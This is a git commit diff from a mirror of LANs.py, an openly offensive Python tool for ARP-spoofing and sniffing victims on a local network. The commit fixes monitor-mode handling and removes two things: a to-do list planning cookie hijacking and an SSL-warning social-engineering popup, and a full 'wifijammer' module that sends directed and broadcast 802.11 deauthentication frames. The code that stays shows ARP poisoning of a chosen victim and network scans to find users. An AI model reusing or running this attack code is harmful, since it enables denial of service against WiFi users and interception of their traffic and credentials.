mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-08-19 13:10:01 -07:00
fixed monitor mode
This commit is contained in:
parent
62d60c2028
commit
4ad2333192
1 changed files with 12 additions and 395 deletions
407
LANs.py
407
LANs.py
|
@ -12,15 +12,6 @@ Prerequisites: Linux
|
||||||
twisted
|
twisted
|
||||||
|
|
||||||
Note: This script flushes iptables before and after usage.
|
Note: This script flushes iptables before and after usage.
|
||||||
|
|
||||||
To do:
|
|
||||||
*** Finish https://github.com/DanMcInerney/net-creds and plug it in as the LANs.py main cred engine
|
|
||||||
Refactor with lots of smaller functions
|
|
||||||
Cookie saver so you can browse using their cookies (how to use nfqueue with multiple queues?)
|
|
||||||
Add karma MITM technique
|
|
||||||
Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
|
|
||||||
Integrate with wifite would be cool
|
|
||||||
|
|
||||||
'''
|
'''
|
||||||
|
|
||||||
|
|
||||||
|
@ -40,7 +31,6 @@ import os
|
||||||
try:
|
try:
|
||||||
import nfqueue
|
import nfqueue
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
|
||||||
module_check('nfqueue')
|
module_check('nfqueue')
|
||||||
import nfqueue
|
import nfqueue
|
||||||
import logging
|
import logging
|
||||||
|
@ -186,6 +176,7 @@ def LANsMain(args):
|
||||||
au.users(IPprefix, routerIP)
|
au.users(IPprefix, routerIP)
|
||||||
print '\n[*] Turning off monitor mode'
|
print '\n[*] Turning off monitor mode'
|
||||||
os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
|
os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
|
||||||
|
os.system('service network-manager restart')
|
||||||
try:
|
try:
|
||||||
victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
|
victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
|
@ -1025,7 +1016,8 @@ class active_users():
|
||||||
|
|
||||||
def users(self, IPprefix, routerIP):
|
def users(self, IPprefix, routerIP):
|
||||||
|
|
||||||
print '[*] Running ARP scan to identify users on the network; this may take a minute - [nmap -sn -n %s]' % IPprefix
|
print '[*] Running ARP scan to identify users on the network; this may take a minute'
|
||||||
|
print ' nmap -sn -n %s' % IPprefix
|
||||||
iplist = []
|
iplist = []
|
||||||
maclist = []
|
maclist = []
|
||||||
try:
|
try:
|
||||||
|
@ -1059,7 +1051,8 @@ class active_users():
|
||||||
exit('[-] Router MAC not found. Exiting.')
|
exit('[-] Router MAC not found. Exiting.')
|
||||||
|
|
||||||
# Do nbtscan for windows netbios names
|
# Do nbtscan for windows netbios names
|
||||||
print '[*] Running nbtscan to get Windows netbios names - [nbtscan %s]' % IPprefix
|
print '[*] Running nbtscan to get Windows netbios names'
|
||||||
|
print ' nbtscan %s' % IPprefix
|
||||||
try:
|
try:
|
||||||
nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN)
|
nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN)
|
||||||
nbt = nbt.communicate()[0]
|
nbt = nbt.communicate()[0]
|
||||||
|
@ -1080,14 +1073,15 @@ class active_users():
|
||||||
a.append(nbtname)
|
a.append(nbtname)
|
||||||
|
|
||||||
# Start monitor mode
|
# Start monitor mode
|
||||||
print '[*] Enabling monitor mode [airmon-ng ' + 'start ' + interface + ']'
|
|
||||||
try:
|
try:
|
||||||
promiscSearch = Popen(['airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
|
print '[*] Enabling monitor mode'
|
||||||
promisc = promiscSearch.communicate()[0]
|
print ' airmon-ng check kill'
|
||||||
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
|
os.system('airmon-ng check kill')
|
||||||
self.monmode = monmodeSearch.group(1)
|
print ' airmon-ng start ' + interface
|
||||||
|
os.system('airmon-ng start ' + interface)
|
||||||
|
self.monmode = interface+'mon'
|
||||||
except Exception:
|
except Exception:
|
||||||
exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
|
exit('[-] Enabling monitor mode failed')
|
||||||
|
|
||||||
sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
|
sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
|
||||||
|
|
||||||
|
@ -1212,380 +1206,6 @@ def pcap_handler(args):
|
||||||
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
|
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
time.sleep(1.5)
|
time.sleep(1.5)
|
||||||
|
|
||||||
#################################
|
|
||||||
####End LANs.py Code#############
|
|
||||||
################################
|
|
||||||
|
|
||||||
################################
|
|
||||||
#####Start wifijammer Code######
|
|
||||||
###############################
|
|
||||||
|
|
||||||
clients_APs = []
|
|
||||||
APs = []
|
|
||||||
lock = Lock()
|
|
||||||
monitor_on = None
|
|
||||||
mon_MAC = ""
|
|
||||||
first_pass = 1
|
|
||||||
|
|
||||||
|
|
||||||
def wifijammerMain(args):
|
|
||||||
confirmJam = raw_input("Are you sure you want to jam WiFi? This may be illegal in your area. (y/n)")
|
|
||||||
if "n" in confirmJam:
|
|
||||||
exit("Program cancelled.")
|
|
||||||
print("Ok. Jamming.")
|
|
||||||
mon_iface = get_mon_iface(args)
|
|
||||||
conf.iface = mon_iface
|
|
||||||
mon_MAC = mon_mac(mon_iface)
|
|
||||||
|
|
||||||
# Start channel hopping
|
|
||||||
hop = Thread(target=channel_hop, args=(mon_iface, args))
|
|
||||||
hop.daemon = True
|
|
||||||
hop.start()
|
|
||||||
|
|
||||||
signal.signal(signal.SIGINT, stop)
|
|
||||||
|
|
||||||
try:
|
|
||||||
sniff(iface=mon_iface, store=0, prn=cb)
|
|
||||||
except Exception as msg:
|
|
||||||
remove_mon_iface(mon_iface)
|
|
||||||
print '\n[' + R + '!' + W + '] Closing'
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
def get_mon_iface(args):
|
|
||||||
global monitor_on
|
|
||||||
monitors, interfaces = iwconfig()
|
|
||||||
if args.interface:
|
|
||||||
monitor_on = True
|
|
||||||
return args.interface
|
|
||||||
if len(monitors) > 0:
|
|
||||||
monitor_on = True
|
|
||||||
return monitors[0]
|
|
||||||
else:
|
|
||||||
# Start monitor mode on a wireless interface
|
|
||||||
print '[' + G + '*' + W + '] Finding the most powerful interface...'
|
|
||||||
interface = get_iface(interfaces)
|
|
||||||
monmode = start_mon_mode(interface)
|
|
||||||
return monmode
|
|
||||||
|
|
||||||
|
|
||||||
def iwconfig():
|
|
||||||
monitors = []
|
|
||||||
interfaces = {}
|
|
||||||
DN = open(os.devnull, 'w')
|
|
||||||
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
|
|
||||||
for line in proc.communicate()[0].split('\n'):
|
|
||||||
if len(line) == 0: continue # Isn't an empty string
|
|
||||||
if line[0] != ' ': # Doesn't start with space
|
|
||||||
wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
|
|
||||||
if not wired_search: # Isn't wired
|
|
||||||
iface = line[:line.find(' ')] # is the interface
|
|
||||||
if 'Mode:Monitor' in line:
|
|
||||||
monitors.append(iface)
|
|
||||||
elif 'IEEE 802.11' in line:
|
|
||||||
if "ESSID:\"" in line:
|
|
||||||
interfaces[iface] = 1
|
|
||||||
else:
|
|
||||||
interfaces[iface] = 0
|
|
||||||
return monitors, interfaces
|
|
||||||
|
|
||||||
|
|
||||||
def get_iface(interfaces):
|
|
||||||
scanned_aps = []
|
|
||||||
DN = open(os.devnull, 'w')
|
|
||||||
if len(interfaces) < 1:
|
|
||||||
sys.exit('[' + R + '-' + W + '] No wireless interfaces found, bring one up and try again')
|
|
||||||
if len(interfaces) == 1:
|
|
||||||
for interface in interfaces:
|
|
||||||
return interface
|
|
||||||
|
|
||||||
# Find most powerful interface
|
|
||||||
for iface in interfaces:
|
|
||||||
count = 0
|
|
||||||
proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN)
|
|
||||||
for line in proc.communicate()[0].split('\n'):
|
|
||||||
if ' - Address:' in line: # first line in iwlist scan for a new AP
|
|
||||||
count += 1
|
|
||||||
scanned_aps.append((count, iface))
|
|
||||||
print '[' + G + '+' + W + '] Networks discovered by ' + G + iface + W + ': ' + T + str(count) + W
|
|
||||||
try:
|
|
||||||
interface = max(scanned_aps)[1]
|
|
||||||
print '[' + G + '+' + W + '] ' + interface + " chosen. Is this ok? [Enter=yes] "
|
|
||||||
input = raw_input()
|
|
||||||
if input == "" or input == "y" or input == "Y" or input.lower() == "yes":
|
|
||||||
return interface
|
|
||||||
else:
|
|
||||||
interfaceInput = raw_input("What interface would you like to use instead? ")
|
|
||||||
if interfaceInput in interfaces:
|
|
||||||
return interfaceInput
|
|
||||||
else:
|
|
||||||
print '[' + R + '!' + W + '] Exiting: Invalid Interface!'
|
|
||||||
except Exception as e:
|
|
||||||
for iface in interfaces:
|
|
||||||
interface = iface
|
|
||||||
print '[' + R + '-' + W + '] Minor error:', e
|
|
||||||
print ' Starting monitor mode on ' + G + interface + W
|
|
||||||
return interface
|
|
||||||
|
|
||||||
|
|
||||||
def start_mon_mode(interface):
|
|
||||||
print '[' + G + '+' + W + '] Starting monitor mode off ' + G + interface + W
|
|
||||||
try:
|
|
||||||
os.system('ifconfig %s down' % interface)
|
|
||||||
os.system('iwconfig %s mode monitor' % interface)
|
|
||||||
os.system('ifconfig %s up' % interface)
|
|
||||||
return interface
|
|
||||||
except Exception:
|
|
||||||
sys.exit('[' + R + '-' + W + '] Could not start monitor mode')
|
|
||||||
|
|
||||||
|
|
||||||
def remove_mon_iface(mon_iface):
|
|
||||||
os.system('ifconfig %s down' % mon_iface)
|
|
||||||
os.system('iwconfig %s mode managed' % mon_iface)
|
|
||||||
os.system('ifconfig %s up' % mon_iface)
|
|
||||||
|
|
||||||
|
|
||||||
def mon_mac(mon_iface):
|
|
||||||
'''
|
|
||||||
http://stackoverflow.com/questions/159137/getting-mac-address
|
|
||||||
'''
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
||||||
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
|
|
||||||
mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
|
|
||||||
print '[' + G + '*' + W + '] Monitor mode: ' + G + mon_iface + W + ' - ' + O + mac + W
|
|
||||||
return mac
|
|
||||||
|
|
||||||
|
|
||||||
def channel_hop(mon_iface, args):
|
|
||||||
'''
|
|
||||||
First time it runs through the channels it stays on each channel for 5 seconds
|
|
||||||
in order to populate the deauth list nicely. After that it goes as fast as it can
|
|
||||||
'''
|
|
||||||
global monchannel, first_pass
|
|
||||||
DN = open(os.devnull, 'w')
|
|
||||||
channelNum = 0
|
|
||||||
err = None
|
|
||||||
while 1:
|
|
||||||
if args.channel:
|
|
||||||
with lock:
|
|
||||||
monchannel = args.channel
|
|
||||||
else:
|
|
||||||
channelNum += 1
|
|
||||||
if channelNum > 11:
|
|
||||||
channelNum = 1
|
|
||||||
with lock:
|
|
||||||
first_pass = 0
|
|
||||||
with lock:
|
|
||||||
monchannel = str(channelNum)
|
|
||||||
|
|
||||||
proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE)
|
|
||||||
for line in proc.communicate()[1].split('\n'):
|
|
||||||
if len(line) > 2: # iw dev shouldnt display output unless there's an error
|
|
||||||
err = '[' + R + '-' + W + '] Channel hopping failed: ' + R + line + W
|
|
||||||
|
|
||||||
output(err, monchannel)
|
|
||||||
if args.channel:
|
|
||||||
time.sleep(.05)
|
|
||||||
else:
|
|
||||||
# For the first channel hop thru, do not deauth
|
|
||||||
if first_pass == 1:
|
|
||||||
time.sleep(1)
|
|
||||||
continue
|
|
||||||
|
|
||||||
deauth(monchannel)
|
|
||||||
|
|
||||||
|
|
||||||
def deauth(monchannel):
|
|
||||||
'''
|
|
||||||
addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
|
|
||||||
multi-APs to one gateway. Constantly scans the clients_APs list and
|
|
||||||
starts a thread to deauth each instance
|
|
||||||
'''
|
|
||||||
|
|
||||||
pkts = []
|
|
||||||
|
|
||||||
if len(clients_APs) > 0:
|
|
||||||
with lock:
|
|
||||||
for x in clients_APs:
|
|
||||||
client = x[0]
|
|
||||||
ap = x[1]
|
|
||||||
ch = x[2]
|
|
||||||
# Can't add a RadioTap() layer as the first layer or it's a malformed
|
|
||||||
# Association request packet?
|
|
||||||
# Append the packets to a new list so we don't have to hog the lock
|
|
||||||
# type=0, subtype=12?
|
|
||||||
if ch == monchannel:
|
|
||||||
deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth()
|
|
||||||
deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client) / Dot11Deauth()
|
|
||||||
pkts.append(deauth_pkt1)
|
|
||||||
pkts.append(deauth_pkt2)
|
|
||||||
if len(APs) > 0:
|
|
||||||
if not args.directedonly:
|
|
||||||
with lock:
|
|
||||||
for a in APs:
|
|
||||||
ap = a[0]
|
|
||||||
ch = a[1]
|
|
||||||
if ch == monchannel:
|
|
||||||
deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap) / Dot11Deauth()
|
|
||||||
pkts.append(deauth_ap)
|
|
||||||
|
|
||||||
if len(pkts) > 0:
|
|
||||||
# prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
|
|
||||||
if not args.timeinterval:
|
|
||||||
args.timeinterval = 0
|
|
||||||
if not args.packets:
|
|
||||||
args.packets = 1
|
|
||||||
|
|
||||||
for p in pkts:
|
|
||||||
send(p, inter=float(args.timeinterval), count=int(args.packets))
|
|
||||||
|
|
||||||
|
|
||||||
def output(err, monchannel):
|
|
||||||
os.system('clear')
|
|
||||||
mon_iface = get_mon_iface(args)
|
|
||||||
if err:
|
|
||||||
print err
|
|
||||||
else:
|
|
||||||
print '[' + G + '+' + W + '] ' + mon_iface + ' channel: ' + G + monchannel + W + '\n'
|
|
||||||
if len(clients_APs) > 0:
|
|
||||||
print ' Deauthing ch ESSID'
|
|
||||||
# Print the deauth list
|
|
||||||
with lock:
|
|
||||||
for ca in clients_APs:
|
|
||||||
if len(ca) > 3:
|
|
||||||
print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(
|
|
||||||
2) + ' - ' + T + ca[3] + W
|
|
||||||
else:
|
|
||||||
print '[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2]
|
|
||||||
if len(APs) > 0:
|
|
||||||
print '\n Access Points ch ESSID'
|
|
||||||
with lock:
|
|
||||||
for ap in APs:
|
|
||||||
print '[' + T + '*' + W + '] ' + O + ap[0] + W + ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W
|
|
||||||
print ''
|
|
||||||
|
|
||||||
|
|
||||||
def noise_filter(skip, addr1, addr2):
|
|
||||||
# Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast
|
|
||||||
ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:',
|
|
||||||
mon_MAC]
|
|
||||||
if skip:
|
|
||||||
ignore.append(skip)
|
|
||||||
for i in ignore:
|
|
||||||
if i in addr1 or i in addr2:
|
|
||||||
return True
|
|
||||||
|
|
||||||
|
|
||||||
def cb(pkt):
|
|
||||||
'''
|
|
||||||
Look for dot11 packets that aren't to or from broadcast address,
|
|
||||||
are type 1 or 2 (control, data), and append the addr1 and addr2
|
|
||||||
to the list of deauth targets.
|
|
||||||
'''
|
|
||||||
global clients_APs, APs
|
|
||||||
|
|
||||||
# return these if's keeping clients_APs the same or just reset clients_APs?
|
|
||||||
# I like the idea of the tool repopulating the variable more
|
|
||||||
if args.maximum:
|
|
||||||
if args.noupdate:
|
|
||||||
if len(clients_APs) > int(args.maximum):
|
|
||||||
return
|
|
||||||
else:
|
|
||||||
if len(clients_APs) > int(args.maximum):
|
|
||||||
with lock:
|
|
||||||
clients_APs = []
|
|
||||||
APs = []
|
|
||||||
|
|
||||||
# We're adding the AP and channel to the deauth list at time of creation rather
|
|
||||||
# than updating on the fly in order to avoid costly for loops that require a lock
|
|
||||||
if pkt.haslayer(Dot11):
|
|
||||||
if pkt.addr1 and pkt.addr2:
|
|
||||||
|
|
||||||
# Filter out all other APs and clients if asked
|
|
||||||
if args.accesspoint:
|
|
||||||
if args.accesspoint not in [pkt.addr1, pkt.addr2]:
|
|
||||||
return
|
|
||||||
|
|
||||||
# Check if it's added to our AP list
|
|
||||||
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
|
|
||||||
APs_add(clients_APs, APs, pkt, args.channel)
|
|
||||||
|
|
||||||
# Ignore all the noisy packets like spanning tree
|
|
||||||
if noise_filter(args.skip, pkt.addr1, pkt.addr2):
|
|
||||||
return
|
|
||||||
|
|
||||||
# Management = 1, data = 2
|
|
||||||
if pkt.type in [1, 2]:
|
|
||||||
clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
|
|
||||||
|
|
||||||
|
|
||||||
def APs_add(clients_APs, APs, pkt, chan_arg):
|
|
||||||
ssid = pkt[Dot11Elt].info
|
|
||||||
bssid = pkt[Dot11].addr3
|
|
||||||
try:
|
|
||||||
# Thanks to airoscapy for below
|
|
||||||
ap_channel = str(ord(pkt[Dot11Elt:3].info))
|
|
||||||
# Prevent 5GHz APs from being thrown into the mix
|
|
||||||
chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
|
|
||||||
if ap_channel not in chans:
|
|
||||||
return
|
|
||||||
|
|
||||||
if chan_arg:
|
|
||||||
if ap_channel != chan_arg:
|
|
||||||
return
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
return
|
|
||||||
|
|
||||||
if len(APs) == 0:
|
|
||||||
with lock:
|
|
||||||
return APs.append([bssid, ap_channel, ssid])
|
|
||||||
else:
|
|
||||||
for b in APs:
|
|
||||||
if bssid in b[0]:
|
|
||||||
return
|
|
||||||
with lock:
|
|
||||||
return APs.append([bssid, ap_channel, ssid])
|
|
||||||
|
|
||||||
|
|
||||||
def clients_APs_add(clients_APs, addr1, addr2):
|
|
||||||
if len(clients_APs) == 0:
|
|
||||||
if len(APs) == 0:
|
|
||||||
with lock:
|
|
||||||
return clients_APs.append([addr1, addr2, monchannel])
|
|
||||||
else:
|
|
||||||
AP_check(addr1, addr2)
|
|
||||||
|
|
||||||
# Append new clients/APs if they're not in the list
|
|
||||||
else:
|
|
||||||
for ca in clients_APs:
|
|
||||||
if addr1 in ca and addr2 in ca:
|
|
||||||
return
|
|
||||||
|
|
||||||
if len(APs) > 0:
|
|
||||||
return AP_check(addr1, addr2)
|
|
||||||
else:
|
|
||||||
with lock:
|
|
||||||
return clients_APs.append([addr1, addr2, monchannel])
|
|
||||||
|
|
||||||
|
|
||||||
def AP_check(addr1, addr2):
|
|
||||||
for ap in APs:
|
|
||||||
if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
|
|
||||||
with lock:
|
|
||||||
return clients_APs.append([addr1, addr2, ap[1], ap[2]])
|
|
||||||
|
|
||||||
|
|
||||||
def stop(signal, frame):
|
|
||||||
if monitor_on:
|
|
||||||
sys.exit('\n[' + R + '!' + W + '] Closing')
|
|
||||||
else:
|
|
||||||
remove_mon_iface(mon_iface)
|
|
||||||
sys.exit('\n[' + R + '!' + W + '] Closing')
|
|
||||||
|
|
||||||
#############################
|
|
||||||
#####End wifijammer Code#####
|
|
||||||
#############################
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
if not os.geteuid() == 0:
|
if not os.geteuid() == 0:
|
||||||
|
@ -1596,8 +1216,5 @@ if __name__ == "__main__":
|
||||||
if args.pcap:
|
if args.pcap:
|
||||||
pcap_handler(args)
|
pcap_handler(args)
|
||||||
exit('[-] Finished parsing pcap file')
|
exit('[-] Finished parsing pcap file')
|
||||||
|
|
||||||
if args.jam:
|
|
||||||
wifijammerMain(args)
|
|
||||||
else:
|
else:
|
||||||
LANsMain(args)
|
LANsMain(args)
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue